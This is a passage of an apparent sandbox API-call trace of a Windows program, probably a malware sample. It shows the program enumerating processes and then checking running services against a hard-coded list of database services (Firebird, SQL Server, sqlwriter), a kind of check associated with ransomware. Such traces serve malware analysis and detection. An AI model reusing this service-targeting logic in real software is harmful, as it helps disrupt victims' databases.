(lpString="entering.exe") returned 12 [0088.261] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0088.261] lstrlenW (lpString="measurement nut d.exe") returned 21 [0088.261] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0088.262] lstrlenW (lpString="ai element.exe") returned 14 [0088.262] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0088.263] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0088.263] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0088.263] lstrlenW (lpString="clicking.exe") returned 12 [0088.263] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0088.264] lstrlenW (lpString="pack.exe") returned 8 [0088.264] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0088.265] lstrlenW (lpString="try-gtk.exe") returned 11 [0088.265] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0088.265] lstrlenW (lpString="counseling tmp.exe") returned 18 [0088.265] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0088.266] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0088.266] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0088.267] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0088.267] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0088.267] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0088.267] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0088.268] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0088.268] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0088.269] lstrlenW (lpString="jerry pure.exe") returned 14 [0088.269] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0088.270] lstrlenW (lpString="powerseller.exe") returned 15 [0088.270] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0088.271] lstrlenW (lpString="non firewall.exe") returned 16 [0088.271] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0088.272] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0088.272] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0088.273] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0088.273] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0088.274] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0088.274] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0088.275] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0088.275] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0088.276] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0088.276] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0088.277] lstrlenW (lpString="bd guidance.exe") returned 15 [0088.277] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.277] lstrlenW (lpString="conhost.exe") returned 11 [0088.277] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.278] lstrlenW (lpString="conhost.exe") returned 11 [0088.278] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0088.279] lstrlenW (lpString="lang hl gis.exe") returned 15 [0088.279] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0088.280] lstrlenW (lpString="dllhost.exe") returned 11 [0088.280] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.281] lstrlenW (lpString="svchost.exe") returned 11 [0088.281] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0088.429] lstrlenW (lpString="dllhost.exe") returned 11 [0088.430] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0088.430] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0088.430] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0088.431] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0088.431] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.432] lstrlenW (lpString="conhost.exe") returned 11 [0088.432] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.433] lstrlenW (lpString="svchost.exe") returned 11 [0088.433] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0088.433] lstrlenW (lpString="cmd.exe") returned 7 [0088.433] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.434] lstrlenW (lpString="conhost.exe") returned 11 [0088.434] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0088.439] CloseHandle (hObject=0x340) returned 1 [0088.439] Sleep (dwMilliseconds=0x1f4) [0089.241] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f280 [0089.242] EnumServicesStatusExW (in: hSCManager=0x47f280, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0089.243] GetLastError () returned 0xea [0089.243] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d5a) returned 0x36840c8 [0089.243] EnumServicesStatusExW (in: hSCManager=0x47f280, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36840c8, cbBufSize=0x1d5a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36840c8, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0089.244] CloseServiceHandle (hSCObject=0x47f280) returned 1 [0089.244] lstrlenW (lpString="Appinfo") returned 7 [0089.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0089.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0089.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0089.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0089.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0089.245] lstrlenW (lpString="AppXSvc") returned 7 [0089.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0089.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0089.245] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0089.245] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0089.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0089.245] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0089.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0089.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0089.245] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0089.245] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0089.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0089.245] lstrlenW (lpString="Audiosrv") returned 8 [0089.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0089.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0089.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0089.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0089.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0089.245] lstrlenW (lpString="BFE") returned 3 [0089.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0089.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0089.246] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0089.246] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0089.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0089.246] lstrlenW (lpString="BITS") returned 4 [0089.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0089.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0089.246] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0089.246] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0089.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0089.246] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0089.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0089.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0089.246] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0089.246] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0089.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0089.246] lstrlenW (lpString="CDPSvc") returned 6 [0089.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0089.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0089.246] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0089.246] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0089.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0089.246] lstrlenW (lpString="ClickToRunSvc") returned 13 [0089.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0089.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0089.247] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0089.247] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0089.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0089.247] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0089.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0089.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0089.247] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0089.247] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0089.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0089.247] lstrlenW (lpString="CryptSvc") returned 8 [0089.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0089.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0089.247] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0089.247] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0089.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0089.247] lstrlenW (lpString="DcomLaunch") returned 10 [0089.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0089.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0089.247] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0089.247] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0089.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0089.247] lstrlenW (lpString="DeviceAssociationService") returned 24 [0089.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0089.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0089.248] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0089.248] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0089.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0089.248] lstrlenW (lpString="Dhcp") returned 4 [0089.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0089.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0089.248] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0089.248] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0089.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0089.248] lstrlenW (lpString="Dnscache") returned 8 [0089.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0089.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0089.248] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0089.248] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0089.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0089.248] lstrlenW (lpString="DoSvc") returned 5 [0089.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0089.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0089.248] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0089.248] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0089.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0089.248] lstrlenW (lpString="DPS") returned 3 [0089.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0089.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0089.249] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0089.249] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0089.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0089.249] lstrlenW (lpString="DusmSvc") returned 7 [0089.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0089.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0089.249] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0089.249] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0089.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0089.249] lstrlenW (lpString="EventLog") returned 8 [0089.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0089.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0089.249] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0089.249] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0089.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0089.249] lstrlenW (lpString="EventSystem") returned 11 [0089.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0089.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0089.249] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0089.249] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0089.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0089.249] lstrlenW (lpString="FontCache") returned 9 [0089.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0089.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0089.249] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0089.250] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0089.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0089.250] lstrlenW (lpString="gpsvc") returned 5 [0089.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0089.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0089.250] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0089.250] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0089.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0089.250] lstrlenW (lpString="iphlpsvc") returned 8 [0089.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0089.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0089.250] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0089.250] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0089.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0089.250] lstrlenW (lpString="KeyIso") returned 6 [0089.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0089.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0089.250] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0089.250] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0089.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0089.250] lstrlenW (lpString="LanmanServer") returned 12 [0089.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0089.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0089.250] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0089.251] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0089.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0089.251] lstrlenW (lpString="LanmanWorkstation") returned 17 [0089.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0089.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0089.251] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0089.251] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0089.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0089.251] lstrlenW (lpString="lfsvc") returned 5 [0089.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0089.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0089.251] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0089.251] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0089.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0089.251] lstrlenW (lpString="lmhosts") returned 7 [0089.251] lstrcmpiW 